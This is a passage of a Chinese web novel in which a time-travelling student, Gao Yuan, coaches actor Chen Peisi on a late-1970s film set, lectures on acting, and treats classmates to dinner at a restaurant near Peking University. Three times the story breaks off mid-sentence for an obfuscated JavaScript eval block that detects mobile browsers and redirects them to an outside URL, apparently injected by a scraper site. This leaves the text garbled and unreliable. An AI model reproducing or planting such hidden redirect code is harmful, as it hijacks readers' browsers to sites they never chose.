红配绿赛狗屁,这点儿事儿都搞不明白吗?” 他噼里啪啦一顿输出,一点面子都没给留,直接把刘小庆给说愣了。 化妆师急忙走过来,满脸惶恐地解释道:“副导,我们平时都是这么化的呀,拍摄出来的效果很不错的。” 高远把刘小庆拽到镜子前,见化妆师也跟了过来,语气严肃地说道:“你俩自己看看,脸和胳膊腿是不是两个色儿,你跟我说拍摄出来效果不错,那是你认为的不错,观众们不觉得突兀吗?” 见他发飙了,众人都凑了过来。 王好为一看,确实啊,脸上涂着厚厚的粉底,跟**一般,胳膊却呈现出黄色,对比特鲜明。 “小高要不说,我还真没注意到,化妆部门工作不细致啊。”王好为横了一眼化妆师。 化妆师脸通红。 李健群说道:“我也觉得不协调,您看看我,也跟小庆姐一个样,大白脸,胳膊却是黄色的。” 刘小庆一跺脚,瞬间不开心,“那怎么办啊?” 高远说道:“胳膊腿上打一层粉底,把你那绿发卡摘了,换成白色的,鞋子也换成白色的,这样就跟你的白领红裙相得益彰了。” 化妆师忙说道:“我这就给小庆老师重新上妆。” 她拉着刘小庆走了。 李健群瞧着高远两眼放光,“你可以啊,审美一流。” 那是,我可是从40年后穿回来的。 高远嘿嘿一笑,谦虚道:“一般一般,全组第三。” “那谁是第一啊?” “当然是姐姐您了。” 李健群抿嘴一笑。 哎呀,真好看。 她转身也去补妆了。 十多分钟后两人回来,大家再一看,确实大变样了,皮肤色泽统一,从艳俗变得艳而不俗。 同志们冲高远竖起了大拇指。 这审美,确实一流水平。 王好为拍拍巴掌,说道:“好了,各部门准备准备,演员请就位,我们先走一遍。” 陈佩斯肉眼可见的紧张起来。 高远走到他面前,说道:“别紧张,放轻松,一定没问题的。” 陈佩斯吐出一口气,说道:“我尽量。” 王好为说道:“来吧,嘉奇,看你的了。” 刘小庆上场:“下面,请市工会文工团的演员胡嘉奇同志给我们讲话。” 诸位群演们哗哗鼓掌。 陈佩斯咧嘴一笑,从衬衣口袋里拿出演讲稿打开,清清嗓子,“我想通过这个舞蹈,塑造出披荆斩刺的,全心全意为工农兵服务的,并且是这个,这个这个这个…… 呃,并且是扭转干坤的高大形象!” “停!” 导演没出声,高远喊了停。 大家全愣住了。 丫这是赤裸裸地抢班**啊,这会儿你怎么不说突兀了? 王好为觉得无所谓,笑呵呵看着高远,问道:“怎么了?表演不到位吗?” 高远点点头,无视了大家怪异的目光,走上前,对陈佩斯说道:“这是场重头戏,胡嘉奇这个人物无知中透着一点小机灵的劲儿全在这场戏里面了。” 陈佩斯说道:“我知道,我知道。” “所以说,你的动作还不够夸张,动作幅度得大一些,你看我。” 高远说着,从他手里把演讲稿拿过来,也清清嗓子,开始表演:“……并且,扭转干坤的高大形象! 你这个时候,挺胸、抬头、挥舞手臂!得展现出一种人民英雄马上就要英勇就义的气势来。” 他还示范,左腿弓,右腿撑,左手拿着稿子,右手向前方举着,昂着头,表情严肃且郑重。 在场的不仅是演职人员,听说这剧组今天拍重头戏的导演、演员们也都凑过来观瞧。 大家不方便进入到拍摄场地中,于是都挤在门口朝里面看着。 见高远在给陈小二说戏,大家都颇感意外。 再见他这副样子,又都笑了起来。 形象、生动。 大概说得就是高远的表演了。 陈佩斯也笑得不行,止住笑声后,他似有所悟,道:“我似乎有点明白了,嘉奇没有文化,却愣装文化人,在排练节目的时候笑料百出,不仅仅是因为明明没文化,却愣装文化人,更是因为他夸张的肢体动作,配合上没文化引发的喜剧效果。” “诶,这对了,就是这种感觉,保持住,再来一遍。” “没问题。” 陈佩斯又走了一遍,这遍比上遍好了很多。 王好为也颇觉神奇,说:“好,正式开拍。” 高远又走到陈佩斯身前,嘱咐道:“嘉奇哥,你记住啊,别管镜头,你就当它不存在,平时怎么样,现在就怎么样。” 陈佩斯踯躅道:“兄弟,我还是有点紧张。” 高远说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402239|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“跟我做,吸气,呼气,再吸气,再呼气。好一点没有?” “没有。” 高远无奈了,想了想,又说:“蹲下去,蹦!” 陈佩斯照做,蹦了几下后起身,脸通红。 高远又说:“吸气、呼气!” 陈佩斯猛吸一口气,然后缓缓吐出。 “感觉如何?” “好多了。” 高远拍拍他的胳膊,“你没问题的,相信自己,当摄像机不存在。” 陈佩斯郑重点头。 王好为喊道:“各部门准备,正式开拍,一二三,开始!” “我选择了一组刚劲雄伟的动作,同时由节奏鲜明的音乐加以……倾托。” 得到高远的指点后,陈佩斯彻底放松下来。 他把自己日常的说话方式运用到剧中来,整个人特别松弛,语调也抑扬顿挫的。 “这叫送书上门……”他小步迈,嘴里还梆梆梆做辅音,把道具书发到群演们手中。 群演们各种不解的表情。 “叮!”他转了个圈儿,笑道:“这叫流动送书,跋山步水、勇往直前!” 边说边翻个跟头,爽得不行! “大刀阔斧的前进,这个贯穿动作,表现你们书店如火如茶的战斗生活!” 群演们颇配合,哈哈哈大笑起来。 连在门外观瞧的各路奸细都忍不住赞一声漂亮! 这时候,陈佩斯深受鼓舞,表演愈发放松了,他浅浅对众人鞠了一躬,腼腆一笑,继续道:“你们怎么都笑成这样了啊,我说得不对吗?” 这是剧本中没有的词儿。 王好为一抬手,想喊停。 高远赶紧制止道:“导演,别着急,看他接下来如何发挥。” 坐在台下的一人接了一句:“胡嘉奇同志,去查查字典吧,别在这里丢人现眼啦!” 陈佩斯面色一囧,掩面逃跑。 底下的众人笑成了一片,有两个女同志更是笑得懂椅子上跌落下来。 高远紧皱着眉头,喊停后走到那两位女同志跟前,严肃地问道:“有那么好笑吗?” 一位女同志眉毛一横,道:“这不是喜剧效果吗?郑导就是这么跟我说的,我还笑错了?” “你笑得没错,但,夸张了!嘉奇即便文化程度低,念错了成语,但是对于你们这些新华书店的职工们来说,也不至于笑成这个样子。 换位思考一下,你们因为岗位便利饱读诗书,说是有文化的人都不过分。 但是胡嘉奇不是,你们以知识分子的名义去嘲笑一个没文化的人,不仅达不到喜剧效果,反而会给观众们一种故意制造笑料的感觉。 这就不合适了。” 两位女群演闻言低下头,思考了一下,然后发现高远说得确实正确,于是抬起头,谦虚问道:“副导,那么我们该如何笑才不会……呃,突兀?” 高远笑着说:“笑的表达方式有很多种啊,比如说,拍着腿笑,掩着嘴笑,开怀大笑,放肆地笑等等。 这个片段讲的是胡嘉奇明明没文化,却愣装文化人,想要装B……装相却露了怯。 你们这些文化人看破却没点破他,只是哈哈大笑嘲讽他的无知。 笑起来,其实不必那么夸张,更没必要为了影视效果从椅子上跌落到地下。 拍腿,捂脸,配合上讽刺的笑声足以了。 明白?” 两位女同志点着头,笑着说道:“我们明白了。” 王好为也点点头,说道:“好,这条先这样,随后补拍一组群演的镜头。嘉奇特别好,你准备一下,拍下一组镜头。” 陈佩斯的信心一下子就起来了,他冲高远竖起个大拇指,心里说,我兄弟厉害啊,整个人松弛下来后,果然找到感觉了。 “好的导演,随时可以开始走戏。” 王好为笑道:“好,再走一遍。” 陈佩斯彻底放松了,见群演们都排在他身后了,他嘻嘻笑着说:“准备了哈。” 王好为喊道:“开始!” 只见陈佩斯弓着腰开始跳舞:“1234,1234,大刀阔斧地开始前进!挺胸、抬头、好!动作幅度要大!要大!把动作放开,把步子迈大,音乐加快……” 第59章 高远好帅啊 找到节奏后,这货跟开了挂似的,瞪着俩大眼珠子,咧着大嘴,表情丰富得不得了。 高远看了眼李晨声。 李晨声心领神会,扛起摄像机就拍。 把这段陈佩斯最流畅的表演纳入到镜头里。 “好,过了!”王好为一拍大腿,笑着喊道。 大家都说:“精彩,太精彩了。” “佩斯开窍了啊,演得真好。” “好家伙,这表演得也太自然了,叹为观止,叹为观止啊!” “那是,也不看看是谁教的。” 高远心里很骄傲,嘴上却说着不敢当不敢当,凑巧了而已。 陈佩斯刚开始还有点儿懵,但缓过神儿来,浑身上下散发着一种被称作“通透”的东西。 特别是看到老爷子望向自己的目光中那种认可,那种欣慰,陈佩斯咧嘴笑了,自信心前所未有的强大起来。 “兄弟,谢谢你啊。”他拍了拍高远的肩膀,表情真挚,发自肺腑:“不瞒你说,我头一次感觉到,演戏还能这么过瘾,表演是一件能够让我感觉到特满足的事情。” 高远笑着说:“二子哥客气了,您之所以觉得过瘾,感到满足,是因为您放下了。 我们常说,表演是一门大学问,是值得演员去研究一辈子的学科。 但在我看来,那些个什么斯坦尼理论,格洛托夫斯基表演体系,他真不一定就是正确的。” 趁着喘口气儿的工夫,大家都凑了过来听高远白话。 陈强很惊讶,“小高你听说过斯坦尼我倒是不意外,你竟然也知道格洛托夫斯基?” “波兰导演,戏剧家,戏剧试验所的创始人。老爷子,我们北大中文系不仅教写作,也教授一些戏剧理论知识,我们吴组缃先生可是红学大家,说句不夸张的话,在我们班同学们心目中,组缃先生的《红楼梦》研究课前无古人后无来者。” 这货掰着手指头继续白话:“给我们上课的老师阵容堪称豪华,像王瑶、季镇淮、周祖谟、林庚、阴法鲁、吴小如、陈贻焮、何九盈、乐黛云、谢冕等这些老师教授们,随便拎出一位来,哪个不能吊打格洛托夫斯基三条街。” “哈!”老爷子乐了,“瞧你那一脸骄傲的样子,真挺欠揍的,不过貌似还真是那么回事儿,这套阵容,确实奢华啊,你小子能得名师真传,也是有福了。” 王好为也笑着说道:“我昨儿就看出来了,小高虽然入学时间不长,但却深受北大中文系老师们的影响,尤其是这思想上,太……进步了。 并且小高说得没错,不论是吴组缃先生,还是其他各位先生们,在文学创作、教育教学、理论研究等各领域中都是大家,都被人敬仰。” “所以啊,我为我有幸在北大中文系读书感到骄傲,在求学生涯中能够享受到各位名师的授业解惑感到无比自豪。” 王好为笑着点头,存心考校他,问道:“你刚才说,斯坦尼理论,又或者格洛托夫斯基表演体系不一定真的正确,那么,你认为在表演中,怎样诠释一个角色才是正确的呢?” 不知道什么时候,陈怀恺、李文化、江淮延等人也走了进来。 施雯心老太太笑呵呵看着高远,满眼期待的样子。 高远沉思片刻,组织下语言,方才说道:“其实我刚才那个提法也不准确,因为任何一种理论从提出,到完善,最后到成型,都是经历过大量实践的。 我应该说,这些理论,没有绝对权威一说,我们研究它,不是因为他的正确性,而是相对认同它的理论价值。 导演问了,在表演中,怎样去诠释角色才是正确的? 其实,我认为也没有正确与错误之分,表演方式也没有一套既定标准。 但是,作为一名演员,起码要做到吐字清晰,有起伏波动;情绪转换要贴合剧情发展,不能生硬。 这只是一个及格表现,是评判一个演员的基础标准,达到了,才能被称之为‘演员’。” 说到这里,见大家均面带微笑点着头,他笑了笑,继续发表他的长篇大论:“当你达到演员的基础标准后,该怎么进步呢? 我说一点我自己的理解吧,在我看来,其实不复杂,想要往前迈进一步,努力的方向就三样:情感、技术+自身体悟。 上课时我听乐黛云先生讲过,前两样在西方电影界非常流行,被视为一名演员是否成熟,演技是否出色的衡量标准。 比如说什么表现派、体验派、方法派等等。 挨个去讲透彻的话,那咱今天这戏就甭拍了,大家感兴趣的话,可以去北大二教三楼大教室听乐黛云先生的《西方文学发展史》一课。” 这小子,还推销起他家老师的课程来了。 大家发出一阵善意的笑声。 高远也嘿嘿嘿,“我说一下自身体悟吧,套用一句说书人的行话,在评书这个行当里,讲究一个:有多大人情,说多大书。 放在影视剧表演中就是:有多大体悟,演多大角色。 这与人生阅历密不可分,我说得更直白一点,到了陈老爷子、黄玲老师、刘钊老师这种境界的老戏骨,拿到一个角色,下意识地就会把这个人物拆解开来,去揣摩,去审视,然后进行重新塑造,让其变成自己想要看到的人物。 这种经过重新捏合、塑造出来的角色,毫无疑问是超越了编剧预设的那个人物的,他的层次更高,人物形象也更加立体、饱满。 实话说,咱们这些老戏骨,才是挑起中国电影脊梁的伟大功勋,是值得年轻演员学习的楷模。” “小子,老戏骨这个词儿用得可太贴切了。”陈老爷子称赞了一句后,率先鼓起了掌。 接着,黄玲、刘钊、汪用桓、王好为、李晨声等人纷纷鼓掌。 掌声连接成一片。 高远脸一红,不好意思的双手合十冲大家鞠躬致谢。 望着侃侃而谈的高远,李健群一时间失了神,瞬间感觉面前的蓝银不仅好看,还才华横溢。 姐姐眼里都有小星星了。 她缓过神来后微笑着问道:“那,嘉奇今天表现得如此出色,是因为找到了正确的表演方法吗?” 王好为今天一早就跟大家知会过了,在组里,大家一律称呼对方剧中的名字,这是为了让大家尽快培养感情。 我刚打瞌睡你就送枕头,我谢谢你啊。 高远深情望着她,笑道:“这么说也没错。昨天我跟嘉奇同志聊过了,他的特点就是蔫儿坏,抖机灵,明明文化水平有限,却偏要装文艺青年。 其实这个人物的特点蛮复杂的,以嘉奇同志现如今的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402240|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演技,诠释不出这么复杂的人物特征来,那怎么办呢? 我就建议他,不要老想着‘演’胡嘉奇,你就把自己当成胡嘉奇,你平时怎么表达,在剧中就怎么表达。 因为我觉得,角色是客观创作出来的,表演却能发挥主观作用。 嗯……怎么说呢? 只要不超出人物范畴,你的表演就是成功的。 今天看来,胡嘉奇同志表现得很棒。 来,大家也给嘉奇同志呱唧呱唧。” 哗哗哗! 掌声再度响彻在会议室半空。 陈佩斯挠着头,貌似憨厚地咧嘴笑着,“都是您教得好,您教得好。” 陈强走过来,拍拍高远的胳膊,面带微笑道:“好小子,你解决了困扰二……嘉奇的一个最大的问题,我也要感谢你啊。” “您老太见外了,我和嘉奇哥是好朋友啊,互帮互助是应当应分的。” “好,好。今后你俩多走动吧,回头去家里吃饭。” 王好为笑着说道:“好了好了,各位,歇的也差不多了,马上清场,准备拍摄下一段剧情。” 无关人员被剧务礼貌地请了出去。 走出会议室后,陈怀恺问李文化道:“你怎么看?” 李文化笑着说:“这小子,是个人才,王导演运气好,捡到宝了。” “不是王导运气好,是老厂长目光独到,当初选导演的时候,老厂长可是征求过你的意见,问你愿不愿意导这部片子,一听说男女主角都选新人,你自个儿先打退堂鼓了,厂长拿你没辙,这才选择让王导来执导这部影片。” “咱俩是乌鸦落在猪腚上,你别说我黑,我也甭说你黑,厂长也找过你,你不是也拒绝了么?” “我跟你能一样么?我手头上还有其他工作,当然得以创作集体为优先考虑。” 李文化叹声气,说道:“听说厂里有跟高远长期合作的意思,这么年轻就被厂长看中,那小子要一飞冲天了。” 他还藏着半句话没说,作为第一个跟高远合作的导演,王好为也要一飞冲天了。 陈怀恺看看他,摇头一笑,安慰似的拍了拍他的胳膊,想表达些什么,话到嘴边,又咽了回去。 场地这边,随着陈佩斯的状态越来越好,拍摄进度也快了起来。 以往一天最多能拍三组镜头,演员们度过了磨合期后,能够完整地拍完好几个片段了。 三个礼拜后,老胡家里的剧情还差一个片段就要拍完,王好为宣布两天后正式转场,拍外景,先去棉纺厂拍摄老胡和郁林、嘉英的工作场景。 这段时间,高远的收获无疑是最多的。 他跟在王导身边,认认真真学习一名导演是如何控场的,是如何安排演员走位,摄像机该出现在什么位置,灯光如何打才能呈现出演员的最佳表演效果等等。 顺便他也给演员们讲讲戏。 演员们找不到感觉的时候也爱找他聊。 这货已经取代了郑副导演的工作职责,偏生郑副导演一点意见都没有,也经常凑到他身边乐不滋儿的听他白话。 真学东西啊。 下午的拍摄工作结束后,江淮延过来找他,笑呵呵对他说:“刚接到你们系费主任打来的电话,他让我转告你,明天你们系几位老师要来现场看剧组拍摄。” 第60章 信,我丫的信! 高远张大了嘴巴,小心脏激灵灵颤抖了一下。 什么情况啊这是? 老师们怎么突然就杀过来了? 听江淮延的意思,人还不少。 “这是扎堆儿过来检查作业吗?”高远叹着气问道。 江淮延也坏,他狡黠一笑,说道:“那我可没敢问,你担心什么?来了后不就知道了。” 高远抓耳挠腮,焦躁不安。 王好为走过来,问道:“说啥呢你俩?” 江淮延又把高远老师们要来现场观摩拍摄一事向导演转述了一遍。 王好为也挺吃惊的,又问道:“都哪几位老师过来,费主任跟你说过没?” 导演问了,江淮延就不能藏着掖着了,他说道:“带队的是吴组缃先生和江南之先生,成员有乐黛云老师、赵建福老师、王瑶老师和谢冕老师。 对了,费主任还说,他若是能抽出时间来,也会跟老师教授们一起过来学习。” 王好为苦笑道:“学习?别闹了。 这套阵容,让我深感惶恐啊,吴组缃先生和江南之先生的级别可不低,两位老先生亲临剧组,作课题调研也好,考查学生的作品拍摄情况也罢,都让我诚惶诚恐。” 高远叹声气,说道:“我也是,这套阵容太吓人啦。” 江淮延笑着说:“您二位不用紧张,我已经第一时间通知汪厂长了。 老厂长很重视文学系教授、老师们的莅临,已经决定开个会研究一下接待事宜,这不,他让我过来通知您二位,马上去小会议参加会议。” “这就好,这就好,还是**你想得周全,走走走,咱们别在这儿慎着了,赶紧去会议室吧。” 高远立马说道:“会议我就不参加了,我得先去搞清楚,我那些爷奶爹妈们到底来干啥的,摸不清楚老宝贝儿们的真实目的我今晚都别想睡踏实了。 我先颠儿,二位回见!” 说完,他撒丫子就跑了。 王好为哑然失笑,“这孩子,看上去心挺大,到了关键时刻,也是个银样镴枪头。” 江淮延咔咔眨眼,“您这个比喻,似乎有点儿……” “有点儿啥?” “没啥,没啥。” 高远下了楼,飞快地跑到主楼文学部,进门后跟施雯心打了声招呼,抓起桌子上的电话,却又不知道该打给谁。 这年头儿通讯太不方便了,学校青年服务社和小卖部里倒是有公用电话,但是想要联系到一个同学特费劲,跟唐僧取经似的,得经历重重磨难。 运气好,把电话打过去,恰巧有买东西的同学在,售货员同志会帮着喊一声。 运气差,售货员同志别说帮你去通知一声了,不撅你两句就算给你天大的面子了。 高远想想,又把电话扣上了。 今晚回寝室睡吧,说起来,也很久没见到那几头了,还怪想念的。 “老太太,我走了啊。”高远嬉皮笑脸的对施雯心说道。 “电话不打了?”小老太太问道。 “不打了,我还是亲自回学校一趟吧,去打探打探消息。”高远边说边往外走,“也不知道那些个老宝贝儿们兴师动众的为啥而来,不搞清楚心里不踏实啊。” 施雯心被他这话逗笑了,挥着手说:“那就赶紧去搞清楚吧。” 高远出了文学部,下楼蹁上自行车,站起来蹬。 用时十分钟抵达学校,他踢下车撑子,刚推开32楼的玻璃门,一眼看到梁左和陈建功两人拿着饭盒从楼梯上走下来。 “诶,高老师今儿怎么突然造访32了?”两人也看见了他,快步走过来后陈建功笑着打趣道。 梁左也跟着调侃道:“我也正奇怪呢,您这招呼都不打一个,贸贸然就出现在我们面前,难不成是被文艺战线无情地抛弃了?” 高远翻个白眼儿,一手搂一个脖子,恶狠狠地说道:“别说你们俩不知道啊,咱们系那些个老宝贝儿们明天组团去北影厂搞突击,连北影厂的厂长都给惊动了。 你俩跟我这儿揣着明白装什么糊涂呢?” 哥儿俩前仰后合,放声大笑。 梁左挤眉弄眼道:“陈哥,又被我猜对了吧,这小子听说后一准儿绷不住,得亲自回来侦查情况,今天的晚饭你请了。” 陈建功搂着高远的肩膀做苦大仇深状,“你个不争气的东西啊!就不能多绷一会儿么,好歹等哥哥把这顿晚饭解决了你再回来也不迟啊,你着的哪门子急,上的哪门子火啊?” 敢情俩人拿自个儿打赌了。 高远嘿嘿冷笑道:“甭站着说话不腰疼了,换成你,你试试,一想到那么多德高望重老师们组团去视察,带队的还是两个重量级人物,搞不清楚他们为啥去,啥目的,你一颗心能好好在骨盆里放着?” “你那颗脏心才在骨盆里放着呢。”陈建功笑骂他一句,一挑眉又道:“想知道啊。” 高远狠狠点头,“想知道!” 陈建功趁火**,“今晚算你的!” “没问题啊,寝室里都谁在呢?喊着一起吧,咱们也别去大饭厅了,我请大家伙儿去长征食堂开个荤如何?”高远笑眯眯说道。 好长时间没聚了,他也特想念老大哥们。 知道老大哥们在学校里省吃俭用,一分钱掰成八瓣儿花,刚挣了300块的高远遂决定给他们改善改善生活。 俩人一听,陈建功先说道:“去什么长征食堂开什么荤?你那钱是大风刮来的?小小年纪怎么就不知道过日子呢? 从大饭厅打两个肉菜改善改善得了。” 梁左推推眼镜,也说道:“没错儿高老师,你挣俩钱也不容易,那是点灯熬油一个字一个字写出来的,能省则省吧。 听劝哈,咱不花那冤枉钱,大饭厅的红烧肉味道就很不错了,我去喊那几位,咱就大饭厅吃吧。” 这个时代的大学生思想特淳朴,也特会为别人着想。 搁后世,知道你读书时就把钱挣了,不狠狠宰你几顿都对不起你每天拼了命一般的搞创作。 高远拉住转身就走的梁左,笑着说:“嘛呀嘛呀,老梁你看不起兄弟是吧?不瞒二位说,兄弟刚挣了300块,正经的财大气粗,一顿饭可吃不穷我。” 梁左突然不淳朴了,挣扒开高远的手,嗖得没影了,“你俩先去,我回寝室召唤同志哥!” 高远拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402241|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一脸惆怅的陈建功往外面走去。 陈建功边走边絮叨:“还是电影厂的钱好赚呐。” 高远嘴角飞扬,怂恿他道:“陈哥,你也可以尝试一下剧本创作啊,并且你比我更具备创作条件,你进大学之前就是成名的作家了,把之前创作的作品拿出来进行修改、完善,就是一部成熟的作品。 这样,你弄完后我帮你推荐到北影厂文学部去,不敢说一定能过稿,但通过的概率不会低于6成。” 这话让陈建功眼睛一亮,他搓着手激动道:“是个好思路,我也想过要不是试一试剧本创作,一直没拿定主意。 高老师,你今天这番话让我下定决心了,回头我就整理一下之前写过的几篇稿子,看看哪一篇更适合改编成电影,我先整理出来,拿不定主意的,你也帮我看看。” 高远笑着说好。 “高远儿,你定那儿!” 这位是谁就不用说了吧。 高远儿摸摸屁股,裤子没破啊。 见小查和晓萍跑到了跟前,他往姑娘身后瞧了一眼,佯装不解地问道:“我腚没事儿,你腚咋了?” 晓萍同学放声大笑。 小查同学勃然大怒,“吃我一脚!” 高远一个侧身,灵巧躲开姑娘的物理攻击。 见她收不住脚,下一秒就大马趴了,立马拽住她的胳膊,将人扶稳站好后他说道:“你想让我吃,也得洗洗干净吧,不然多味儿啊,我就算想吃,一闻,跟咸带鱼似的,也下不去嘴啊。” 王晓萍受不了了,扶着陈建功笑成了大虾米。 査建英也哈哈大笑,锤着高远的肋岔子说道:“丫忒损了,不带这么埋汰人的,姐姐我天天洗脚换袜子,脚趾头缝里都没有泥,玉足白净的跟金水桥上的汉白玉似的。 丫再胡说八道,姐当场拖了鞋袜给丫展示一个的丫信不信?” 高远果断认怂,猛烈点头道:“信,我丫的信!” 他知道,这事儿小查能干得出来。 这姑娘野得很,向来不走寻常路。 “诶你俩怎么知道我回来了?”他问道。 小查翻个白眼儿,撇着嘴说道:“丫一进校门儿就被学红发现了,她通知的我俩。 高远儿,丫心里是真没有姐啊,回来了竟然敢不通知姐,丫活腻歪了吧?今后还想不想在中文系混了?” 实话说,高远有点儿懵。 最近发生了什么我不知道的事情吗? 看你表现的有点儿膨胀啊。 他扫一眼王晓萍。 王同学温婉一笑,轻声解释道:“楂楂当选为咱班的党支部**了。” 难怪。 高远冲她一抱拳,“查**,恭喜恭喜。” “把‘副’字儿去掉。” “好的,査**。” 小查又是开怀一笑,止住笑声后踮着脚拍高远的肩膀,一副领导的口气问道:“小鬼,跟领导汇报汇报,你们要去做么斯啊?” “报告査**,我们要去吃晚饭。” “去哪儿吃晚饭啊?” “去长征食堂改善改善,我请客。” 小查眼睛忽地亮了,拉着高远抬腿就走,“同去同去!” 第61章 论:种猪和左永邦哪个效率高 高远笑嘻嘻看着她,调侃道:“你倒是一点儿都不客气。” 小查傲娇地抬着下巴颏,道:“废话!我跟你客气啥?咱俩可是亲哥们儿。” 刚开学那会儿,两人走得近,班里便有些流言蜚语传出来,说什么高远在追求小查。 还有人反驳说,是小查在追求高远。 甚至某位同学起了孬心思,想去跟赵建福老师反映一下两人作风不正派,公然违反学校不允许同学们谈恋爱的规章制度。 这话传进小查耳朵里,把躺在床上的二姑娘乐得直蹬腿儿。 次日趁着还没开始上课的空当,大步流星走上讲台,当着全班同学的面大声说道:“高远儿,我听说你想追我啊,你有什么要解释的吗?” 高远都蒙圈了,反应过来后他拍案而起,破口大骂:“哪个王八蛋造的谣?站出来给我瞧瞧,我艹他姥姥三条街的!” 全场鸦雀无声。 小查没心没肺地哈哈笑道:“你这骂街的水平又提高了不少啊,不过有人言之凿凿,说什么奶大强过好看,事实胜于雄辩。 咱俩私下里走得太近了,还经常凑一块儿堆儿嘀嘀咕,嘀嘀咕…… 不是那种关系怎么可能? 这世界上的男女之间,根本不存在真正的友情。 前后句儿还他妈挺押韵,不愧是文学专业的高材生啊,都给我笑岔气儿了。” 当时高远心说,还得是你啊。 神他妈奶大强过好看,事实胜于雄辩。 这是你个小丫头自个儿编出来的吧? 高远冷笑之,扫视全场后语气像是来自西伯利亚的风,冰凉刺骨,道:“我奉劝各位啊,甭以为我岁数小就好欺负,造谣你们最好拿出证据来,要不然就是污蔑,是对我和小查人格的羞辱! 这话我只说一遍,我和小查是亲哥们儿,今后再让我听到这种谣言,继而导致本人找对象都困难,你们可就别怪我翻脸不认人了!” 小查还在讲台上起哄呢,“高远儿,丫的意思是本姑娘配不上你吗?” 高远立马怼回去,“我摸着你的手,就像左手摸右手,一点儿感觉都木有。” 小查冲下来,“我恁死你!” 看着两名摔跤选手互不相让,支起了黄瓜架,全班同学哄堂大笑。 还有几个人心虚地低下了头。 谣言不攻自破。 “亲哥们儿”一词迅速流行开来。 事后,高远也没去追究这个谣言是谁造的,他心里有数,重点怀疑对象无非就那么几个人。 大家从四面八方聚到一起来不容易,把话戳穿就没意思了。 当然,哪个时代也不缺少心眼子肮脏,以己度人之辈。 文学77级尤甚,同学们之间年龄差距悬殊,思想各不相同。 尤其是那些常年扎根农村,接受贫下中农再教育的老同志,口蜜腹剑、心怀叵测者大有人在。 依着事事都计较,就没完没了了。 后来陈建功、梁左和葛兆光都跟他提过哪几个人在胡说八道。 高远笑了笑,对三位老兄说:“过去就过去了,我要真想找茬,在教室里挨个点名,不难把造谣的人找出来,问题是大家从**聚到一起来,就是难得的缘分,为了这么点事情翻了脸,实在是有点犯不上。” 三位老兄纷纷竖起大拇指,这大局观,这心胸,老哥儿几个佩服啊。 四个人刚走到南门,梁左和杨迎明、葛兆光追了过来。 长征食堂在南墙外马路对面,是家国营饭馆,北大学子们打牙祭,多数会选这里。 食堂又叫长征饭庄,是个二层的小楼,一楼主打蒸水饺,几个蒸炉热气腾腾,一个个小巧的竹蒸笼堆叠在上面,目测有一米多高。 吃多少,师傅给你拿多少。 二楼有烤鸭和炒菜。 一行人直奔二楼。 高远调侃道:“怎么走哪儿都能看见烤鸭啊。” 小查问他道:“你还在那儿看过烤鸭?” 找了张空桌坐下,高远笑道:“连北影厂职工食堂的大师傅都会烤鸭子,你们敢信?” “这有什么不敢信的,北影厂职工食堂的饭菜可口,在整个京城电影圈都很出名。”梁左说道。 “忘了,丫家学渊源。”高远拍着他的肩膀笑嘻嘻说道。 梁左的家世在班里不是啥秘密。 据陈建功说,开学报到那天,是谌容老师送他过来的,谌老师一进入寝室,陈建功当场就愣住了。 反应过来后,他热情地握住谌容老师的手说:“您的《万年青》我反复拜读过四遍,人物塑造得可太深刻了。” 大家也知道了梁左的家庭情况。 “滚蛋!北影厂的饭好不好吃,跟我家有**关系啊?”梁左双肩一抖,摆脱了那只讨厌的爪子。 “高老师的意思是,家庭条件好,就能大嘴吃四方呗。”王晓萍补充了一句。 高远冲她一挑眉,姑娘,你解读的太正确了。 梁左缩缩脖子,反驳无能。 女店员走过来,手里拿着个小本本和一支笔,板着脸问道:“吃点啥?” 这态度,一看就是国营单位的正式职工。 高远不以为意,打量着墙上挂着的小黑板,小黑板上写着今日炒菜。 他随口就点:“溜肝尖儿、溜肉片儿、红烧鱼、酱排骨、葱炮羊肉、鱼香肉丝、柿子炒蛋、芹菜炒肉……” 杨迎明赶紧拽住他的袖子,“够了够了。” “八个菜,不少了。”陈建功也说道。 高远嗯了声,对女店员说道:“那就先上这些吧,麻烦您再给拿两瓶二锅头,再来两瓶北冰洋。” 小伙子挺客气啊。 女店员有了丝笑模样,问道:“红星还是牛栏山?” “红星吧,56°那款。” “好,稍等。” 十分钟后,先上来四个菜,白酒和汽水也拿了过来。 梁左还是很有眼力见儿的,高远请客,他主动充当起服务员,把汽水递给小查和小王,又拧开酒瓶盖给哥儿几个把酒倒上。 